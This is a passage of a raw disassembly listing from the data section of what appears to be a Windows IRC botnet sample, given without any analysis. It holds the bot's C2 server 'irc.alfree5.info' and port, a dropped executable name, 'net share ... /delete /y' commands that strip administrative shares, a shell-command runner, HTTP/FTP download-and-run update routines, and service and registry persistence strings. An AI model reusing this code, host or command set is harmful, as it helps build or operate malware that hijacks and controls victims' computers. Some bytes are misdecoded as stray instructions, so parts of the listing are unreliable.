dup(0) dd 0FFFFFFFFh, 43C8D0h, 0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh dd 43C8E0h, 0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh, 43C8F0h, 2 dup(0) dword_442960 dd 19930520h, 15h, 442980h, 5 dup(0) dd 0FFFFFFFFh, 43C910h, 0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh dd 43C923h, 0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh dd 43C93Bh, 0FFFFFFFFh, 43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh dd 43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh dd 43C971h, 0FFFFFFFFh, 43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh dd 43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh dd 43C9A4h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh dd 43C9BCh, 6 dup(0) dword_442A40 dd 19930520h, 1, 442A60h, 5 dup(0) dd 0FFFFFFFFh, 43CA00h, 2 dup(0) dword_442A70 dd 19930520h, 5, 442A90h, 5 dup(0) dd 0FFFFFFFFh, 43CA20h, 0 dd offset loc_43CA28 dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0) dword_442AC0 dd 19930520h, 5, 442AE0h, 5 dup(0) dd 0FFFFFFFFh, 43CA70h, 0 dd offset loc_43CA78 dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0) dword_442B10 dd 19930520h, 1, 442B30h, 5 dup(0) dd 0FFFFFFFFh, 43CAC0h, 2 dup(0) dword_442B40 dd 19930520h, 1, 442B60h, 5 dup(0) dd 0FFFFFFFFh, 43CAE0h, 2 dup(0) dword_442B70 dd 19930520h, 1, 442B90h, 5 dup(0) dd 0FFFFFFFFh, 43CB00h, 2 dup(0) dword_442BA0 dd 19930520h, 1, 442BC0h, 5 dup(0) dd 0FFFFFFFFh, 43CB20h, 2 dup(0) dword_442BD0 dd 19930520h, 1, 442BF0h, 5 dup(0) dd 0FFFFFFFFh, 43CB40h, 2 dup(0) dword_442C00 dd 19930520h, 1, 442C20h, 5 dup(0) dd 0FFFFFFFFh, 43CB60h, 2 dup(0) dword_442C30 dd 19930520h, 1, 442C50h, 5 dup(0) dd 0FFFFFFFFh, 43CB80h, 2 dup(0) dword_442C60 dd 19930520h, 1, 442C80h, 5 dup(0) dd 0FFFFFFFFh, 43CBA0h, 2 dup(0) dword_442C90 dd 19930520h, 6, 442CB0h, 5 dup(0) dd 0FFFFFFFFh, 43CBC0h, 0 dd offset loc_43CBC8 dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0) dword_442CE8 dd 19930520h, 6, 442D08h, 5 dup(0) dd 0FFFFFFFFh, 43CC20h, 0 dd offset loc_43CC28 dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0) dword_442D40 dd 19930520h, 3, 442D60h, 5 dup(0) dd 0FFFFFFFFh, 43CC80h, 0 dd offset loc_43CC88 dd 1, 43CC96h, 2 dup(0) dword_442D80 dd 19930520h, 16h, 442DA0h, 5 dup(0) dd 0FFFFFFFFh, 43CCC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 2 dw 43h dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah dd 43CD39h, 2, 43CD44h, 0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh, 0Fh, 43CD86h, 0Fh dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h, 6 dup(0) dword_442E68 dd 19930520h, 1, 442E88h, 5 dup(0) dd 0FFFFFFFFh, 43CE00h, 2 dup(0) dword_442E98 dd 19930520h, 1, 442EB8h, 5 dup(0) dd 0FFFFFFFFh, 43CE20h, 2 dup(0) dword_442EC8 dd 19930520h, 1, 442EE8h, 5 dup(0) dd 0FFFFFFFFh, 43CE40h, 2 dup(0) dword_442EF8 dd 19930520h, 1, 442F18h, 5 dup(0) dd 0FFFFFFFFh, 43CE60h, 2 dup(0) dword_442F28 dd 19930520h, 1, 442F48h, 5 dup(0) dd 0FFFFFFFFh, 43CE80h, 2 dup(0) dword_442F58 dd 19930520h, 2, 442F78h, 1, 442F88h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442FA0h, 4 dup(0) dd offset loc_42C244 dd 2 dup(0) dword_442FB8 dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 443000h, 4 dup(0) dd offset loc_42C321 dd 2 dup(0) dword_443018 dd 19930520h, 3, 443038h, 5 dup(0) dd 0FFFFFFFFh, 43CEC0h, 0 dd offset loc_43CEC8 dd 1, 43CED0h, 2 dup(0) dword_443058 dd 19930520h, 1, 443078h, 5 dup(0) dd 0FFFFFFFFh, 43CF00h, 2 dup(0) dword_443088 dd 19930520h, 1, 4430A8h, 5 dup(0) dd 0FFFFFFFFh, 43CF20h, 2 dup(0) dword_4430B8 dd 19930520h, 1, 4430D8h, 5 dup(0) dd 0FFFFFFFFh, 43CF40h, 2 dup(0) dword_4430E8 dd 19930520h, 1, 443108h, 5 dup(0) dd 0FFFFFFFFh, 43CF60h, 2 dup(0) dword_443118 dd 19930520h, 1, 443138h, 5 dup(0) dd 0FFFFFFFFh, 43CF80h, 2 dup(0) dword_443148 dd 19930520h, 6, 443168h, 5 dup(0) dd 0FFFFFFFFh, 43CFA0h, 0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh dd 43CFB0h, 0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh dd 43CFC8h, 2 dup(0) dword_4431A0 dd 19930520h, 16h, 4431C0h, 5 dup(0) dd 0FFFFFFFFh, 43CFF0h, 0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh dd 43D003h, 0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh dd 43D01Eh, 0FFFFFFFFh, 43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh dd 43D036h, 0FFFFFFFFh, 43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh dd 43D051h, 0FFFFFFFFh, 43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch, 0Eh, 43D084h, 0Eh dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch, 0Eh, 43D09Ch, 6 dup(0) dword_443288 dd 19930520h, 2, 4432A8h, 5 dup(0) dd 0FFFFFFFFh, 43D0E0h, 0FFFFFFFFh, 43D0E8h, 2 dup(0) dword_4432C0 dd 19930520h, 2, 4432E0h, 5 dup(0) dd 0FFFFFFFFh, 43D100h, 0 dd offset loc_43D10B dd 2 dup(0) dword_4432F8 dd 19930520h, 1, 443318h, 5 dup(0) dd 0FFFFFFFFh, 43D130h, 2 dup(0) dword_443328 dd 19930520h, 2, 443348h, 5 dup(0) dd 0FFFFFFFFh, 43D150h, 0FFFFFFFFh, 43D158h, 2 dup(0) dword_443360 dd 19930520h, 0Ah, 443380h, 5 dup(0) dd 0FFFFFFFFh, 43D170h, 0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh dd 43D186h, 0FFFFFFFFh, 43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh dd 43D1A7h, 0FFFFFFFFh, 43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh dd 43D1C8h, 0FFFFFFFFh, 43D1D3h, 34Dh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd offset aRrrrrrrrrr+7Ah dd 105h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_403530+7Fo db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4445EC: ; DATA XREF: sub_403530+66o ; sub_410030:loc_41090Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404CC0+86Fo ; sub_404CC0+AEBo ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404CC0+82Bo ; sub_404CC0+B58o ... align 10h asc_444600: ; DATA XREF: sub_404690:loc_40476Fo ; sub_404690+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404690+75o ; sub_410030:loc_410A19o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_444684 dd 255C7325h, 73h ; sub_40D040+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o align 8 aN: ; DATA XREF: sub_404CC0+D1Do unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404CC0+971o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404CC0+6CFo align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404CC0+610o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404CC0+444o ; sub_41C130+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404CC0+1A3o ; sub_404CC0+9ABo ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_406730+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_4068E0+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_4068E0+125o dd 0 a??? db '???',0 ; DATA XREF: sub_4068E0:loc_4069DBo a2003 db '2003',0 ; DATA XREF: sub_4068E0+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_4068E0+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_4068E0+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_4068E0+C7o align 10h a98 db '98',0 ; DATA XREF: sub_4068E0+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_4068E0+AFo align 4 a95 db '95',0 ; DATA XREF: sub_4068E0+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406E3Do ; ___:00406E85o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406E00o ; sub_40ED00+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406DC3o dd 0 dword_4447EC dd 6265642Dh, 6775hdword_4447F4 dd 6425h ; ___:004087A0o ... dword_4447F8 dd 2Eh ; ___:0041B2DAo ... aMicrosoftVisua db 'MicroSoft Visual SP0',0 ; DATA XREF: sub_4077E0+403o align 8 aEvil db 'evil',0 ; DATA XREF: sub_4077E0+3F2o align 10h aFeeling_nasty db 'feeling.nasty',0 ; DATA XREF: sub_4077E0+3E1o align 10h aSet db 'set',0 ; DATA XREF: sub_4077E0+359o asc_444834 db 'X-',0 ; DATA XREF: sub_4077E0+348o align 4 aAyssds4ddklfsd db 'ayssds4ddklfsdfssas',0 ; DATA XREF: sub_4077E0+337o align 10h aIgfsfdfsd32ss_ db 'igfsfdfsd32ss.exe',0 ; DATA XREF: sub_4077E0+326o align 8 aXkey db 'Xkey',0 ; DATA XREF: sub_4077E0+318o align 10h aFor db '##for',0 ; DATA XREF: sub_4077E0+307o align 4 aFor_0 db '##for##',0 ; DATA XREF: sub_4077E0+2F6o dd 0 a3267 db '3267',0 ; DATA XREF: sub_4077E0+29Bo align 4 aIrc_alfree5_in db 'irc.alfree5.info',0 ; DATA XREF: sub_4077E0+283o align 10h off_4448A0 dd offset off_43F1D4 ; DATA XREF: ___:00440014o align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_4448C0 dd offset off_43F1D4 ; DATA XREF: ___:00440034o align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_4448E8 dd offset off_43F1D4 ; DATA XREF: ___:00440054o align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o ; ___:0040AA51o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B760+3Fo ; sub_40B7E0+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B87Fo align 10h aFalse db 'false',0 ; DATA XREF: ___:0040B924o align 4 aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao align 10h dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BB57o align 10h aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040BA04o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao align 4 dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C4E0+48Ao align 10h aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o align 10h aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C4E0+327o align 10h dword_444A10 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C4E0+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o align 4 dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o align 8 aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo align 8 aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o align 8 aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o align 10h aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CC90+1B1o dd 0 asc_444AE4: ; DATA XREF: sub_40CC90+113o ; sub_4201F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40D040+115o align 4 aS_1 db '%s\*',0 ; DATA XREF: sub_40D040+1Fo align 10h aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D559o align 10h aBai_0 db ' -bai ',0 align 4 aSCS db '%s%c%s',0 align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D660+D1o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D660+C4o align 10h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o align 10h dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D660+98o align 10h aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o align 4 dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DC20+37Co db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40EE40+6Ao align 8 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40EE40+21o ; sub_40F060+Ao ... align 4 dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F511o align 10h aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o align 10h dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F359o align 8 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo align 10h dd 0 asc_444C64 db ' :',0 ; DATA XREF: sub_410030+E2Bo ; sub_410030+1118o ... align 4 asc_444C68: ; DATA XREF: sub_410030+CACo ; sub_410030+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_410030:loc_4109F8o ; sub_410030:loc_410C87o aS_2 db ' -s',0 ; DATA XREF: sub_410030:loc_4109CFo ; sub_410030:loc_410C66o asc_444C74: ; DATA XREF: sub_410030+871o ; sub_410030:loc_410CA8o ... unicode 0, <:>,0 a@: ; DATA XREF: sub_410030+7CCo ; sub_410030+D2Do ... unicode 0, <@>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do ; sub_410030+732o ... align 4 dd 0 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_410030+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 8 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_410030+2C4o ; sub_412780+91o ... align 8 aSSSS db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o align 4 aS_3 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+386o ; sub_426070+12Do ... align 10h aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo ; sub_412A40+8Fo align 10h aPublic db '[PUBLIC]',0 ; DATA XREF: sub_412780:loc_41288Bo align 4 aPrivate db '[PRIVATE]',0 ; DATA XREF: sub_412780+104o align 4 a_ db '. ',0 ; DATA XREF: sub_412780+CAo ; sub_412780+E5o align 4 aLan db 'lan: ',0 ; DATA XREF: sub_412780+AEo align 4 aUptime db 'uptime',0 ; DATA XREF: ___:loc_412FF7o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412FA4o align 4 aId db 'id',0 ; DATA XREF: ___:loc_412F4Ao align 4 asc_444D18: ; DATA XREF: ___:loc_412F33o dw 3Ch unicode 0, <>,0 asc_444D1C: ; DATA XREF: ___:loc_412F1Co dw 3Eh unicode 0, <>,0 asc_444D20 db '==',0 ; DATA XREF: ___:loc_412F05o align 4 asc_444D24 db '!=',0 ; DATA XREF: ___:00412EF1o align 4 a2_2x db '%2.2X',0 ; DATA XREF: sub_4138B0+B7o align 10h aSS_6 db '%s: %s',0 ; DATA XREF: sub_4193C0+30Fo align 4 aSD_0 db '%s: %d',0 ; DATA XREF: sub_4193C0+2E7o align 10h aSD_1 db '%s:%d',0 ; DATA XREF: sub_4193C0+272o ; sub_4193C0+29Bo align 4 aListening db 'listening',0 ; DATA XREF: sub_4193C0+210o align 4 aEstablished db 'established',0 ; DATA XREF: sub_4193C0+205o dd 0 off_444D64 dd offset dword_504354 ; DATA XREF: sub_4193C0+140o ; ___:0042C5F2o ... dword_444D68 dd 2D464544h, 504354h, 0 ; sub_4193C0+12Eo dword_444D74 dd 652Dh dword_444D78 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o align 10h dd 0 aSS_3 db '%s%s',0 ; DATA XREF: ___:00419DF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419DCCo align 4 byte_444DB4 db 1 ; DATA XREF: sub_41A390r align 4 dword_444DB8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_444E04: ; DATA XREF: ___:00421859o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_444E18 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E2C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E64 dd 63257325h, 0 ; sub_41F960+E5o dword_444E6C dd 72h dword_444E70 dd 30h ; sub_424920+327o dword_444E74 dd 3039h dword_444E78 dd 383631h dword_444E7C dd 323931h dword_444E80 dd 3631h dword_444E84 dd 323731h dword_444E88 dd 3031h off_444E8C dd offset dword_5C005C ; DATA XREF: ___:0041C217r ; ___:0041C387r word_444E90 dw 0 ; DATA XREF: ___:0041C221r ; ___:0041C391r align 4 off_444E94 dd offset dword_49005C ; DATA XREF: ___:0041C1E6r ; ___:0041C356r off_444E98 dd offset loc_43004E+2 ; DATA XREF: ___:0041C1EBr ; ___:0041C35Br dword_444E9C dd 24h ; ___:0041C37Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D930+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D930+567o align 8 asc_444ED8 db 0Dh,0Ah ; DATA XREF: sub_41D930+48Fo db 0Dh,0Ah,0 align 10h aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D930+3F1o align 10h aWb db 'wb',0 ; DATA XREF: sub_41D930+3C0o ; ___:0041FD87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D930+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D930+2A3o align 4 dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D930+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D930+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D930+1CEo align 10h aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E47Eo align 10h aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E42Fo dd 0 dword_444FDC dd 28737973h, 6F626572h, 29746Fh, 0dword_444FEC dd 6469706Bh, 7325203Ah, 0dword_444FF8 dd 203A736Bh, 7325hdword_445000 dd 202E6425h, 7325202Fh, 0dword_44500C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o align 10h a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+694o ; sub_41F030+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030:loc_41F695o ; sub_41F030+677o align 10h aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41F030+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41F030+53Fo align 10h a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+505o ; sub_41F030+51Ao align 4 asc_445088: ; DATA XREF: sub_41F030+2EFo ; sub_41F030+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+286o ; sub_41F030+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+254o ; sub_41F030+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+222o ; sub_41F030+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+1F3o ; sub_41F030+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo align 8 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co align 4 dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FDBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_420090:loc_4200E5o ; sub_420630+C4r ... align 10h aImagepath db 'ImagePath',0 ; DATA XREF: sub_4201F0+CBo ; sub_4208E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o ; sub_4208E0+2BEo align 8 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o align 8 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420630+52o align 10h aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420630+20o ; sub_420630+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4208E0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4208E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o align 10h aThemes db 'Themes',0 ; DATA XREF: sub_4208E0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_4208E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4208E0+1E0o align 10h aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4208E0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4208E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4208E0+1BFo align 10h aW32time db 'W32Time',0 ; DATA XREF: sub_4208E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4208E0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4208E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4208E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4208E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4208E0+17Do align 8 aStisvc db 'stisvc',0 ; DATA XREF: sub_4208E0+172o align 10h aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4208E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4208E0+15Co align 8 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4208E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4208E0+13Bo align 10h aSchedule db 'Schedule',0 ; DATA XREF: sub_4208E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4208E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4208E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4208E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4208E0+F9o align 8 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4208E0+EEo align 4 off_445304 dd offset asc_616C4E ; DATA XREF: sub_4208E0+E3o ; "ллллллллллллллллллллллллллллллллллллллл"... aNetman db 'Netman',0 ; DATA XREF: sub_4208E0+D8o align 10h aMessenger db 'Messenger',0 ; DATA XREF: sub_4208E0+CDo align 4 off_44531C dd offset byte_4D444D ; DATA XREF: sub_4208E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4208E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o align 10h dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4208E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4208E0+A5o align 10h aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do align 10h dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4208E0+95o align 8 aEventlog db 'Eventlog',0 ; DATA XREF: sub_4208E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4208E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4208E0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_4208E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4208E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4208E0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_4208E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4208E0+55o ; sub_4208E0:loc_420B6Bo align 10h asc_4453F0: ; DATA XREF: sub_420F10:loc_420FCFo 